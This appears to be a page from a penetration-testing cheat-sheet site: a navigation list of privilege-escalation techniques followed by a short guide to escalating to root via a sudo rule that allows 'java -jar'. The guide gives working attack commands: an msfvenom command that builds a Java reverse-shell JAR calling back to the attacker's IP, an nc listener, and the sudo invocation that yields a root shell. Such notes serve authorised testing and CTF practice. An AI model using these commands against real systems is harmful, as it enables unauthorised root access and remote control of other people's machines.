Privilege Escalation

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Apache Conf Privilege Escalation

Bash eq Privilege Escalation

Buffer Overflow Privilege Escalation

Chrome Remote Debugger Pentesting

Doas Privilege Escalation

FireFox Credentials Dumping

Ghidra Debug Mode RCE

Gnuplot Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Linux Privilege Escalation

OpenSSL Privilege Escalation

Pip Download Code Execution

PolKit Privilege Escalation

Python Eval Code Execution

Python Jails Escape

Python Privilege Escalation

Python Yaml Privilege Escalation

Ruby Privilege Escalation

Rust Privilege Escalation

SSSD Privilege Escalation

Shared Library Hijacking

Snapd Privilege Escalation

Sudo ClamAV Privilege Escalation

Sudo Dstat Privilege Escalation

Sudo Exiftool Privilege Escalation

Sudo Fail2ban Privilege Escalation

Sudo Git Privilege Escalation

Sudo Java Privilege Escalation

Sudo OpenVPN Privilege Escalation

Sudo Path Traversal Privilege Escalation

Sudo Privilege Escalation

Sudo Privilege Escalation by Overriding Shared Library

Sudo Reboot Privilege Escalation

Sudo Screen Privilege Escalation

Sudo Service Privilege Escalation

Sudo Shutdown, Poweroff Privilege Escalation

Sudo Systemctl Privilege Escalation

Sudo Tee Privilege Escalation

Sudo Umount Privilege Escalation

Sudo Vim Privilege Escalation

Sudo Wall Privilege Escalation

Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Tar Wildcard Injection PrivEsc

Update-Motd Privilege Escalation

irb (Interactive Ruby Shell) Privilege Escalation

Sudo Java Privilege Escalation

Last modified: 2023-02-14

Sudo Java is vulnerable to privilege escalation.

Investigation

sudo -l

(root) /usr/bin/java -jar *.jar

If we can execute java command with arbitrary .jar file as root, we can escalate to privileges.

Exploitation

1. Create a JAR File

First, create a custom jar file in local machine.
Replace <local-ip> with your local ip address.

msfvenom -p java/shell_reverse_tcp LHOST=<local-ip> LPORT=4444 -f jar -o shell.jar

Then transfer the file to remote machine.

2. Reverse Shell

In local machine, start a listener.

nc -lvnp 4444

Now execute the java command as root in target machine.

sudo /usr/bin/java -jar /tmp/shell.jar

We should get a root shell.

Privilege Escalation

Post Exploitation

Backup

Container

Archive

Attack

Protocol

Management

Sudo Java Privilege Escalation

Investigation

Exploitation

1. Create a JAR File

2. Reverse Shell

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